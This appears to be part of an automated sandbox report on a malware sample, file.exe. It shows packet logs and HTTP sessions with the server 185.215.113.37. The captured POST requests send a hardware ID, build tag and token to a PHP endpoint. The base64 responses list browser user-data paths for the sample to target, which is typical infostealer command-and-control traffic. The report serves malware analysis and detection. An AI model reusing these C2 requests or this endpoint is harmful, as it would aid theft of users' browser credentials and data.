Sep 30, 2024 15:20:15.994319916 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.994329929 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.994334936 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.994340897 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.994353056 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.994354010 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.994363070 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.994374037 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.994383097 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.994385958 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.994385958 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.994426012 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.994426012 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.994435072 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.994479895 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.994596004 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.994740963 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.994745016 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.994757891 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.994785070 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.994800091 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.994925976 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.994937897 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.994988918 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.994988918 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.995114088 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.995167017 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.995179892 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.995192051 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.995232105 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.996222019 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.996233940 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.996244907 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.996254921 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.996264935 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.996274948 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.996284008 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.996288061 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.996310949 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.996310949 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.996335030 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.025379896 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.030193090 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.246736050 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.246753931 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.246766090 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.246854067 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.246854067 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.247284889 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.247335911 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.247347116 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.247365952 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.247409105 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.247409105 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.247634888 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.247646093 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.247656107 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.247665882 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.247677088 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.247692108 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.247700930 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.247709036 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.247715950 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.247720957 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.247750044 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.247761011 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.247765064 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.247765064 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.247772932 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.247795105 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.247865915 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.247942924 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.247953892 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.247971058 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.247981071 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.247992039 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248008013 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248008966 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.248008966 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.248023033 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248029947 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.248104095 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.248272896 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248285055 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248296022 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248306036 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248317003 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248327017 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248332024 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.248332024 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.248339891 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248351097 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248361111 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248378038 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.248378038 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.248414040 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.248572111 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248583078 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248593092 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248604059 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248614073 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248625040 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248636961 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.248636961 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.248675108 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.248675108 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.248866081 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248878002 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248888016 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248904943 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248915911 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248924971 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248934984 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248934984 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.248934984 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.248948097 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248959064 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248966932 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.248970032 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.248981953 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249008894 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.249008894 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.249028921 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.249403000 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249413967 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249423981 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249437094 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249448061 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249458075 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249469042 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249473095 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.249473095 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.249480963 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249492884 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249504089 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249511003 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.249511003 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.249515057 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249524117 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.249566078 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.249748945 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249761105 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249771118 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249783039 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249792099 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249803066 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249814034 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249813080 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.249813080 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.249825954 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249830008 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.249838114 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249849081 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249860048 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.249870062 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.249881983 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.249947071 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.719320059 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.719352961 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:16.724224091 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:16.724432945 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:17.448673964 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:17.448782921 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:17.645728111 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:17.650840044 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:17.870531082 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:17.870553970 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:17.870563984 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:17.870604038 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:17.870645046 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:17.873919010 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:17.878787041 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:18.098131895 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:18.098207951 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:18.110374928 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:18.115250111 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:18.819277048 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:18.819365978 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:18.850636005 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:18.855446100 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:19.239265919 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:19.239331007 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:19.239345074 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:19.239358902 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:19.239370108 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:19.239388943 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:19.239397049 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:19.239402056 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:19.239454985 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:19.239716053 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:19.239773035 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:19.241628885 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:19.248449087 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:19.956897020 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:19.956947088 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:24.959218979 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:24.959364891 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:26.394785881 CEST	49699	80	192.168.2.7	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	185.215.113.37	80	5912	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 15:20:03.269033909 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 15:20:03.967005014 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 15:20:03.969966888 CEST	410	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCF Host: 185.215.113.37 Content-Length: 209 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 41 43 39 32 30 44 33 34 43 43 30 35 38 34 39 32 38 30 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 2d 2d 0d 0a Data Ascii: ------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="hwid"0AC920D34CC058492808------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="build"doma------CAAKKFHCFIECAAAKEGCF--
Sep 30, 2024 15:20:04.209439993 CEST	407	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:04 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 54 67 32 5a 54 52 68 4e 7a 55 31 59 54 59 32 4e 44 4e 6b 4f 57 49 31 4e 6a 46 6c 59 57 51 7a 4d 32 45 31 4f 57 4d 32 4d 44 51 34 4d 57 49 30 4d 6d 56 6c 4e 6a 4a 69 4e 6a 6b 77 4e 54 45 7a 4e 6d 45 7a 4d 54 51 34 4d 6a 59 32 5a 6d 59 79 59 6d 4a 6d 59 57 56 6d 4f 47 46 6a 4f 44 59 32 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZTg2ZTRhNzU1YTY2NDNkOWI1NjFlYWQzM2E1OWM2MDQ4MWI0MmVlNjJiNjkwNTEzNmEzMTQ4MjY2ZmYyYmJmYWVmOGFjODY2fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Sep 30, 2024 15:20:04.213061094 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKFBAFIDAEBFHJKJEBF Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 2d 2d 0d 0a Data Ascii: ------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="message"browsers------KJKFBAFIDAEBFHJKJEBF--
Sep 30, 2024 15:20:04.437859058 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:04 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 30, 2024 15:20:04.437876940 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Sep 30, 2024 15:20:04.439582109 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGCFCBAKKFBFIECAEBA Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 2d 2d 0d 0a Data Ascii: ------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; name="message"plugins------GCGCFCBAKKFBFIECAEBA--
